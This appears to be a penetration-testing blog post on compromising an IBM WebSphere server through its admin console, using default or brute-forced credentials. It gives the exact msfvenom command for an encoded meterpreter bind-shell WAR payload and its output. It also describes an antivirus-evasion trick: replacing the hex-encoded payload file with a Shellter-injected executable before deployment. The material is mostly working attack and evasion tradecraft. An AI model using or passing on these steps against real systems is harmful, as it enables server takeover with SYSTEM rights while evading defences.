A possible attack path during a penetration test is having access to the administrative console of a JAVA Application Server (like WAS, JBOSS and Tomcat) installed on a Windows server with default or guessable (e.g. through brute-force) administrative credentials.
The idea was to upload a Metasploit generated WAR application in order to successfully compromise the server, but the outcome was not the expected…
So here it goes.
On our lab, we used the IBM Websphere Application Server (WAS). The WAS administrative console can be accessed at ports 9060/HTTP or 9043/HTTPS:
• http://IP:9060/ibm/console
• https://IP:9043/ibm/consoler
Note: WAS is usually run under local administrator privileges so by uploading and running our payload we can obtain SYSTEM rights.
The first attempt was to generate a WAR application using msfvenom as follows:
root@osi:/tmp# msfvenom --platform windows -a x86 -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 2 LPORT=8484 -f war -o /tmp/OSI.war
Found 1 compatible encoders
Attempting to encode payload with 2 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 326 (iteration=0)
x86/shikata_ga_nai succeeded with size 353 (iteration=1)
x86/shikata_ga_nai chosen with final size 353
Payload size: 353 bytes
Final size of war file: 52278 bytes
Saved as: /tmp/OSI.warAs most AVs were able to detect the generated file, we started digging into the WAF file in order to find which part of the code is responsible for the detection and how it can be modified.
A simple WAR file generated by msfvenom contains two folders (META-INF and WEB-INF), a .txt and a .jsp file and can be extracted as follows:
root@osi:/tmp# jar –xvf OSI.war
created: META-INF/
inflated: META-INF/MANIFEST.MF
created: WEB-INF/
inflated: WEB-INF/web.xml
inflated: aprhqsfojqku.jsp
inflated: pNJrRWnay.txtThe .jsp file is responsible in converting and running the HEX encoded .txt file which contains the actual payload. After doing some tests we understood that by changing the .txt file the Antivirus detection may be bypassed and our WAR application successfully run.
The actual trick…
We came up with the idea to create an executable file through Shellter, converted it to HEX so as to modify the .txt file, update it to the WAR application and finally deploy the WAR file. So, using Shellter we injected our chosen payload into an executable file.
The next step was to convert Shellter’s executable to HEX and then parse it into the .txt file. There are many tools which may perform this, but in our case we chose the HexConverter by Connection Software.
Finally we archived the modified file at the WAR application and deployed it on the server followed by navigating and running our application.
